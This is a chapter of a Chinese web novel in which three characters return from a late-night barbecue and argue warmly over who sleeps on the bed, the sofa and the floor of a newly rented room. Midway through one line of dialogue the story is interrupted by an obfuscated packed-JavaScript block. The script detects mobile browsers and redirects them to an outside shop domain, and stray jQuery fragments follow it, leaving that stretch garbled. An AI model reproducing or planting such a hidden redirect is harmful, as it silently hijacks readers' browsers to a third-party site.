那顿烧烤吃到了后半夜一点多,最后剩下的五串五花肉被林安诚用塑料袋裹紧了带回去,说是"明天早上热热还能吃"。
江野掏钱结账的时候数了半天零钱,老板大手一挥:"行了行了,九十块,你给我八十五得了。"江野把钱拍在桌上,嘴上还嘀咕着"下次再给你凑个整",老板笑着骂了一句"你哪次凑过整"。
三个人沿着深夜的城中村主巷往回走,路灯把三道人影拉得细长,像被生活揉皱了又被夜风晾干了的三张旧纸。
林安诚走在中间,左手攥着塑料袋,右手又攥上了谢意的衬衫下摆。江野走在右边踢着石子,石子滚出去撞在墙根"嗒嗒"响,回音在安静的小巷里弹了好几下。
走到那栋楼下的时候,江野刚要往上走,谢意忽然停下来,抬头看了一眼这栋灰扑扑的五层老楼。
"林昭说她今晚上夜班。"谢意说。
江野愣了一下:"你跟她联系过了?"
"下午的时候她发消息问我小林在哪。我说跟我在一起。"
"然后呢?"
"她说晚上不回来,让小林自己睡。"
江野看了看谢意,又低头看了看林安诚。小姑娘正仰着脑袋看他们俩,重瞳里映着走廊拐角那盏忽明忽暗的声控灯。
"那你——"江野犹豫了半秒,"你今晚回去自己睡?你屋里那个门锁能锁上吗?上次你说门框裂了——"
"锁不上。但没人偷。"
"谁说没人偷——上次老刘头把你房子都偷了——"
"那是老家,不是这儿。"
江野张了张嘴,又闭上了。然后他做了一个决定。他转身往楼上走,走了三步又回头,朝谢意和林安诚招了招手:"来吧。上我那儿挤一晚。反正我那屋还有地方。"
谢意看了他三秒:"你那张床一米二。"
"一米二挤三个人刚好!你俩都瘦!小林更瘦!挤一挤怎么着都——"
"不行。"
"什么不行——"
"她睡觉会滚。"谢意指了指林安诚,"上次她睡我那儿,半夜从床上滚下去,脑袋撞在桌腿上起了个包。"
林安诚站在旁边,一脸"那是意外"的表情。
江野沉默了两秒,然后挠了挠头:"……那咋办?我那儿确实没别的地方睡了,就一张床。"
谢意想了想。夜风把他额前的碎发吹开,露出一片干净的白皙额头。他忽然开口说了一句:"你楼上那间房,之前那个租户搬走之后空着对吧?"
"对啊,空了两周了。房东说下个月才有人来租,现在临时住几天应该没问题。"
"租了。"
江野瞪着他:"租了?现在?大半夜?你找谁租?"
"找你。你帮我和房东说一声。一个月八百,我付。"
"你他妈一个月才挣三千——"
"够。"
江野瞪着他又看了几秒,然后把脸别过去,嘴里咕哝了一句"你真是个疯子"。
他转身往楼上走,走了两步忽然回头:"楼上那间房比我这间大,还有个小阳台。你住了那间的话,小林住我那儿也行,我那个床虽然小但——"
"她跟你住?"
"那怎么着?跟你住?你的床刚说了她睡滚——"
"她睡我的床。我睡沙发。"
江野愣了愣:"你睡沙发?那间房里有沙发?"
"有。老式布艺,灰色那条,上面有一块咖啡色的旧渍。"
江野想了半天没想起来。"……我上次去那间房看的时候没注意有没有沙发。"
"有。在窗户边上。"
"——你连房子都没进去过你怎么知道有沙发?"
"之前看房的时候上去过。"谢意说,"房东带我看过。太贵了没租。"
江野的嘴张了又合合了又张,最后发出一声疲惫的叹息:"行行行行行——你他妈早就计划好了是吧?你上来之前就算好了要租楼上?你连沙发都记住了——"
"计划赶不上变化。变化是免费沙发。"
"你——"
三个人上了四楼。江野掏出钥匙开了自己那间房门,里面黑洞洞的,他伸手进去摸到灯绳拉了一下,一截电线吊着的白炽灯泡亮了,把整个小房间照得清清楚楚。一张一米二的铁架床靠墙放着,床单是蓝白格子的,叠得歪歪扭扭。墙角一个塑料衣柜,门关不严,露出里面几件皱巴巴的T恤和工装裤。窗台上放着一个空玻璃瓶,里面插着一根不知道从哪捡的干树枝。
窗台上还趴着一只狸花猫,看见人进来也不跑,只是抬了抬眼皮,甩了两下尾巴。
林安诚站在门口往里看了看,重瞳安静地扫了一圈,最后落在那只猫身上:"……江野哥,你养猫了?"
"它自己来的。"江野走到窗台边摸了摸猫下巴,"来了小半个月了,每天晚上都来窗台上趴着,我喂了它两根火腿肠,就赖着不走了。"
林安诚走到窗台边,猫抬头看了看她,居然主动把脑袋凑过去蹭了蹭她的手心。林安诚的手顿了一下,然后慢慢地、轻轻地摸了摸猫的耳朵。
"它喜欢你。"江野说,"这猫平时傲得很,我摸它还得看它脸色。"
谢意站在门口,看着江野的屋子。"楼上的钥匙。"
江野从抽屉里翻出一把银色钥匙扔过来。谢意接住,掂了掂:"谢了。"
"谢什么,月底交房租就行。"
"嗯。工资卡扣。"
"你他妈——"
江野的骂声刚起了个头,谢意已经转身上楼了。林安诚从窗台边跳下来,快步跟了出去。江野愣了两秒,也跟了出去。
楼上的房间比江野那间确实大了不少。窗户朝南,虽然窗外的风景依然是隔壁楼的墙,但至少白天能进光。墙边确实摆着一条灰色的旧布艺沙发,靠背有点塌了,扶手处有一块咖啡色的圆渍,像是什么液体洒过之后留下的印子。沙发上落了薄薄一层灰,但整体还行,坐上去弹簧"嘎吱"了一声,没塌。
林安诚走进来,站在房间中央转了一圈。重瞳扫过墙壁、天花板、窗户、地板,最后落在那条旧沙发上。她走过去,伸手按了按沙发坐垫,灰扑扑的绒布在她指尖凹下去一个小坑。
"谢哥哥。"她说,"这沙发可以睡人。"
"嗯。"
"你不睡床?"
"床给你。"
林安诚转过头看他。重瞳在灯泡昏暗的光线下闪了闪,嘴角抿了一下又松开。她没有说"你睡床我睡沙发",因为她知道谢意不会同意。她只是走过去,踮起脚拍了拍谢意的手臂,像大人在安抚小孩似的,轻轻地、郑重地拍了两下。
"……那你明天早上别腰疼。"
谢意看了她一眼:"不会。"
江野靠在门框上看着这一幕,嘴里发出"啧啧"的声音:"啧啧啧——你看看,多感人。一个二十四岁的男人把床让给一个八岁的小孩,自己睡沙发。年度感动城中村人物——"
"你让不让?"
"让!我让!我那儿没沙发,但我有把折叠椅,小林要睡我那儿我就把椅子让给她——"
"你睡椅子?"
"我睡地板。"江野大义凛然地挺了挺胸,"咱工地上的,什么地板没睡过——"
"你昨天还说后背疼。"
江野的慷慨激昂卡了一拍:"……那是上周的事。"
林安诚抱着灰兔子,重瞳在两个人之间来回转了一圈,然后小小声说了一句:"……你们俩,可以一起睡沙发。"
谢意和江野同时看向她。
"这沙发够长。"林安诚拍了拍沙发垫,"两个人挤一挤,够了。"
江野看着那条两米不到的旧布艺沙发,又看了看谢意。谢意也看着他。两个人交换了一个极其复杂的眼神,那眼神里包含的信息量之大,足以让一只成年浣熊当场自闭。
"……不行。"江野率先开口,"太挤了。我睡觉不老实。"
"我睡觉不动。"谢意说。
"你不动也不行——两个人挤一条沙发,翻身都翻不了——"
"那你睡地板。"
"凭什么我睡地板!"
"你说的你睡地板。"
"我说的是小林住我那儿的时候我睡地板!现在她住你这儿!凭什么还是我睡地板!"
"因为沙发是我的。"
"你刚租的!你还没付房租呢——"
"付了。"
"什么时候——"
"刚才你说月底交房租的时候,我已经往你支付宝转了个备注。"
江野猛地掏出手机看了一眼。支付宝里躺着一条转账记录,八百块,备注写着"楼上房租,含沙发使用权一个月"。他盯着那条记录看了五秒,然后缓缓抬起头,表情像被人当面出了一套连招:"你他妈什么时候转的?"
"你刚才说月底交房租的时候。"
"你手里一直拿着手机?"
"嗯。"
"你一边上楼一边转钱?"
"嗯。"
江野把手机揣回兜里,双手抱头蹲了下来。他蹲在房间门口,蹲了大概十秒钟,然后闷声说了一句:"……我输得服服帖帖。沙发归你。我睡地板。但我明天要去买一张行军床。"
"买。"
"钱你出。"
"行。"
江野站起来瞪着他:"你同意的也太爽快了——"
"你睡行军床比睡地板强。你后背疼的话下周副本会加重。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814532|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"
江野的嘴张了张,原本准备好的一连串攻击忽然失去了靶心。他站在门口,看着谢意瘦高的背影在昏暗灯光下忙着收拾沙发上的灰,林安诚坐在床沿上晃着腿,一大一小两个人都安安静静的。
他忽然觉得这破房间虽然墙皮起泡、沙发塌陷、窗户对着墙,但莫名地——暖和。
"行了。"他说,"那我下去拿被子。楼上冷,你那件薄毯子不够。我床底下还有一床旧的棉花被,虽然破了俩洞但盖着暖和。"
他转身下楼去了。
谢意把沙发上的灰拍干净,又把林安诚的灰兔子从她怀里抽出来放到枕头旁边。林安诚坐在床沿上,重瞳看着他把兔子放好的动作,嘴角弯了一个很小很小的弧度。
"谢哥哥。"她说。
"嗯。"
"明天早上吃什么?"
"冰箱里还有一个鸡蛋和半把挂面。加上你带回来的五花肉。"
"够了。"
脚步声从楼梯间响起来,江野抱着一床卷起来的棉花被上来了,被角拖在地上沾了一层灰。他吭哧吭哧把被子扛进来往沙发上一堆,然后一屁股坐在沙发扶手上喘气:"……妈的,这被子有十来斤重,压得我胳膊都——"
他话没说完,沙发忽然发出一声巨大的"嘎吱"响,整条沙发往右边斜了半寸。江野僵在扶手上,表情凝固了:"……这沙发——"
"左边弹簧塌了。"谢意说,"你坐右边扶手上,重心往右,沙发就斜。"
江野缓缓地从扶手上挪下来,像拆弹一样小心。沙发在他离开之后恢复了平衡,但歪了一点点。
三个人站在房间里,看着那条塌了一边弹簧的旧布艺沙发。
沉默。
然后江野说:"……我还是睡地板吧。这沙发睡两个人,我怕半夜塌了把咱们仨埋进去。"
谢意想了想:"你睡床。我睡地板。"
林安诚:"我睡沙发。"
江野:"你睡什么沙发你那么小一只睡沙发中间塌下去找都找不到——"
"我体重轻。沙发不会塌。"
"万一塌了呢!"
林安诚想了想,抬头看江野,重瞳里闪着一种超越年龄的、看透一切的平静光泽:"那我就可以睡到地板上了。不用下来。"
江野愣了两秒,然后发出一声又长又响的悲鸣:"我受不了了——你们俩——一个比一个会堵我嘴——"
他一屁股坐到地上,双手撑着水泥地面,仰头看着那两个人,嘴角翘着,眼里的无奈里裹着一层亮晶晶的、暖洋洋的东西。
"行。床你睡,沙发她睡,我睡地板。明天买行军床。钱你出。"
"嗯。"
谢意走到窗边,把窗户推开一条缝。夜风带着八月末微凉的潮气灌进来,吹散了房间里积了一天的闷热。远处城中村的屋顶在月光下连成一片灰蓝色的波浪,偶尔有一两声野猫的叫声从巷子深处飘上来。
江野坐在地上开始铺他那床十几斤重的棉花被。林安诚抱着兔子蜷在沙发角落里,重瞳半阖着,像一只准备入睡的小猫。
谢意站在窗边,夜风把他的碎发吹起来又落下。他回头看了一眼房间里的两个人——一个在地上铺被子,一个在沙发上缩成一团。灰尘在灯泡昏黄的光线里缓慢浮沉,像无数细小的星星。
他伸手把窗户关小了一点,然后走到沙发另一头,靠着扶手坐了下来。
"晚安。"他说。
江野从被子里探出脑袋,朝他龇了龇牙:"晚个屁安,你睡哪儿?"
"沙发扶手上。靠着睡就行。"
"——你他妈是猫吗?靠着扶手就能睡?"
"嗯。"
江野盯着他看了三秒,然后把脑袋缩回被子里,闷声说了一句:"……明天买行军床的时候给你也带一张。"
谢意靠在沙发扶手上,嘴角弯了一个极轻的弧度。
林安诚已经闭上了眼,灰兔子被她搂在怀里,重瞳在眼睑下透出一小片暗色的光晕。
房间安静了。只有窗外偶尔飘来的野猫叫声和远处工地上断断续续的打桩声,像这座城市在睡梦中无意识的呓语。
谢意没有睡。
他靠着沙发扶手,眼睛半阖着,看着房间里浮沉的灰尘和月光。右手小指上那圈红痕在昏暗里微微泛着极淡的光,像一道快要愈合的旧疤,又像一道刚刚刻上去的新痕。
他看了它一会儿,然后把那只手收进袖子里。
然后他闭上眼。听到江野在地板上翻了个身,棉花被窸窸窣窣地响了一声。听到林安诚在沙发深处均匀的呼吸声,像一只小动物蜷在自己的窝里。
八月末的夜风从窗缝里渗进来,凉凉的,带着远处的烟火气。
他睡着了。